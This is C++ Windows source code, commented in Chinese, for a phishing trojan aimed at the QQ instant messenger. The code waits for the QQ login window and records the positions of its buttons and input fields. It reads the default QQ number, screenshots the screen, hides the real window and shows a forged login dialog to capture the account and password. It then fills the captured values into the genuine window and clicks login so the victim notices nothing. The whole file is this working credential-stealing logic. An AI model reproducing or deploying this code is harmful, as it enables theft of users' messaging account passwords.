//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 PROCESSENTRY32 pe;
 pe.dwSize = sizeof(PROCESSENTRY32);
 if (!Process32First(hSnapshot, &pe)) {
 return FALSE;
 }
 while (Process32Next(hSnapshot, &pe)) {
 if (pe.th32ProcessID == PID) {
 strcpy(lpszProcessName, pe.szExeFile);
 return true;
 }
 }
 
 return FALSE;
}
 
//查找QQ登录窗口
void QQFind()
{
 HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
 HWND ButtonLogin = NULL, ButtonCancel = NULL;
 char sTitle[255];
 CString ss;
 DWORD QQPID;
 int LoginID;
 BOOL find = FALSE;
 do
 {
 //获得当前激活窗口的句柄
 g_hWnd = GetForegroundWindow();
 GetWindowThreadProcessId(g_hWnd, &QQPID);
 //根据PID获得进程名
 processIdToName(sTitle, QQPID);
 ss = sTitle;
 ss.MakeLower();
 //判断是否QQ
 if(ss != "qq.exe")
 {
 Sleep(100);
 continue;
 }
 
 //获得标题文字，判断是否登陆对话框
 SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
 ss = sTitle;
 int n = ss.Find("QQ", 0);
 int m = ss.Find("登录", 0);
 if(n >= 0 || m >= 0)
 {
 //查找QQ登陆按钮的句柄
 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
 LoginID = GetDlgCtrlID(ButtonLogin);
 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
 LoginID = GetDlgCtrlID(ButtonLogin);
 //获得QQ登陆按钮窗口位置
 GetWindowRect(ButtonLogin, &g_qqLogin);

 //查找QQ取消按钮的句柄
 ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
 //获得QQ取消按钮窗口位置
 GetWindowRect(ButtonCancel, &g_qqCancel);

 //查找QQ密码输入框的句柄
 hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
 if(hWnd1 != NULL)
 {
 qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
 //获得QQ密码输入框窗口位置
 GetWindowRect(qqPass_hWnd, &g_qqPassRt);
 }
 
 //查找QQ号码输入框的句柄
 hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
 if(hWnd1 != NULL)
 {
 qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
 //获得QQ号码输入框窗口位置
 GetWindowRect(qqID_hWnd, &g_qqIDRt);
 //获得当前默认QQ号码
 SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
 }
 
 //等待QQ窗口完全出现后抓取整个屏幕
 Sleep(100);
 g_DlgRt.left = 0;
 g_DlgRt.top = 0;
 g_DlgRt.right = m_xScreen;
 g_DlgRt.bottom = m_yScreen;
 g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
 
 //设置QQ窗口为不可见
 ShowWindow(g_hWnd, SW_HIDE);
 
 //弹出我们创建的伪造对话框
 HINSTANCE hInstance = GetModuleHandle(NULL);
 DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
 
 //设置QQ窗口为可见
 ShowWindow(g_hWnd, SW_SHOW);

 //把QQ号码和密码填到真正的QQ登录窗口上，并模拟单击登陆按钮
 SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
 SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
 SendMessage(ButtonLogin, BM_CLICK, 0, 0);

 DeleteObject(g_pBitmap);
 //设置标志退出循环
 find = true;
 }
 
 }

 while(find == FALSE);
}